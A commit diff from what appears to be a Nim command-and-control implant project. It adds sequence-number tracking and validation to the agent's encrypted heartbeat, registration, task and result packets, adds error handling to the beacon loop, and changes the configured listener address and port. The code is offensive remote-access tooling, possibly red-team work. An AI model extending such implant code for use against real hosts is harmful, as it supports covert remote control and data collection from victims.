Implemented sequence tracking.

src/agent/core/heartbeat.nim

@@ -1,6 +1,6 @@
 import times 
 
-import ../../common/[types, serialize, utils, crypto]
+import ../../common/[types, serialize, sequence, utils, crypto]
 
 proc createHeartbeat*(config: AgentConfig): Heartbeat = 
     return Heartbeat(
@@ -11,7 +11,7 @@ proc createHeartbeat*(config: AgentConfig): Heartbeat =
             flags: cast[uint16](FLAG_ENCRYPTED),
             size: 0'u32,
             agentId: uuidToUint32(config.agentId),
-            seqNr: 0'u64,
+            seqNr: 0'u64,  
             iv: generateIV(),
             gmac: default(AuthenticationTag)
         ), 

src/agent/core/register.nim

@@ -1,6 +1,6 @@
 import winim, os, net, strformat, strutils, registry, sugar
 
-import ../../common/[types, serialize, crypto, utils]
+import ../../common/[types, serialize, sequence, crypto, utils]
 
 # Hostname/Computername
 proc getHostname(): string = 
@@ -202,7 +202,7 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
             flags: cast[uint16](FLAG_ENCRYPTED),
             size: 0'u32,
             agentId: uuidToUint32(config.agentId),
-            seqNr: 1'u64, # TODO: Implement sequence tracking
+            seqNr: nextSequence(uuidToUint32(config.agentId)),                              
             iv: generateIV(),
             gmac: default(AuthenticationTag)
         ), 

src/agent/core/task.nim

@@ -1,7 +1,7 @@
 import strutils, tables, json, strformat, sugar
 
 import ../../modules/manager
-import ../../common/[types, serialize, crypto, utils]
+import ../../common/[types, serialize, sequence, crypto, utils]
 
 proc handleTask*(config: AgentConfig, task: Task): TaskResult = 
     try: 
@@ -22,7 +22,9 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
     if header.packetType != cast[uint8](MSG_TASK): 
         raise newException(CatchableError, "Invalid packet type.")
 
-    # TODO: Validate sequence number 
+    # Validate sequence number
+    if not validateSequence(header.agentId, header.seqNr, header.packetType): 
+        raise newException(CatchableError, "Invalid sequence number.")
 
     # Decrypt payload 
     let payload = unpacker.getBytes(int(header.size))

src/agent/core/taskresult.nim

@@ -1,10 +1,7 @@
 import times, sugar
-import ../../common/[types, serialize, crypto, utils]
+import ../../common/[types, serialize, sequence, crypto, utils]
 
 proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult = 
-
-    # TODO: Implement sequence tracking
-
     return TaskResult(
         header: Header(
             magic: MAGIC,
@@ -13,7 +10,7 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r
             flags: cast[uint16](FLAG_ENCRYPTED),
             size: 0'u32,
             agentId: task.header.agentId,
-            seqNr: 1'u64, 
+            seqNr: nextSequence(task.header.agentId), 
             iv: generateIV(),
             gmac: default(array[16, byte])
         ), 

src/agent/main.nim

@@ -1,5 +1,4 @@
 import strformat, os, times, system, base64
-import winim
 
 import core/[task, taskresult, heartbeat, http, register]
 import ../modules/manager
@@ -81,29 +80,34 @@ proc main() =
         let date: string = now().format("dd-MM-yyyy HH:mm:ss")
         echo fmt"[{date}] Checking in."
 
-        # Retrieve task queue for the current agent by sending a check-in/heartbeat request
-        # The check-in request contains the agentId, listenerId, so the server knows which tasks to return
-        var heartbeat: Heartbeat = config.createHeartbeat()
-        let 
-            heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat)
-            packet: string = config.getTasks(heartbeatBytes)
+        try: 
+            # Retrieve task queue for the current agent by sending a check-in/heartbeat request
+            # The check-in request contains the agentId, listenerId, so the server knows which tasks to return
+            var heartbeat: Heartbeat = config.createHeartbeat()
+            let 
+                heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat)
+                packet: string = config.getTasks(heartbeatBytes)
 
-        if packet.len <= 0: 
-            echo "No tasks to execute."
-            continue
+            if packet.len <= 0: 
+                echo "No tasks to execute."
+                continue
 
-        let tasks: seq[Task] = config.deserializePacket(packet)
+            let tasks: seq[Task] = config.deserializePacket(packet)
+            
+            if tasks.len <= 0: 
+                echo "No tasks to execute."
+                continue
+
+            # Execute all retrieved tasks and return their output to the server
+            for task in tasks: 
+                var result: TaskResult = config.handleTask(task)
+                let resultBytes: seq[byte] = config.serializeTaskResult(result)
+
+                config.postResults(resultBytes)
+
+        except CatchableError as err: 
+            echo "[-] ", err.msg
         
-        if tasks.len <= 0: 
-            echo "No tasks to execute."
-            continue
-
-        # Execute all retrieved tasks and return their output to the server
-        for task in tasks: 
-            var result: TaskResult = config.handleTask(task)
-            let resultBytes: seq[byte] = config.serializeTaskResult(result)
-
-            config.postResults(resultBytes)
             
 when isMainModule: 
     main() 

src/agent/nim.cfg

@@ -1,9 +1,9 @@
 # Agent configuration 
--d:ListenerUuid="D3AC0FF3"
--d:Octet1="127"
--d:Octet2="0"
--d:Octet3="0"
--d:Octet4="1"
--d:ListenerPort=9999
--d:SleepDelay=5
+-d:ListenerUuid="1842337B"
+-d:Octet1="172"
+-d:Octet2="29"
+-d:Octet3="177"
+-d:Octet4="43"
+-d:ListenerPort=8080
+-d:SleepDelay=3
 -d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="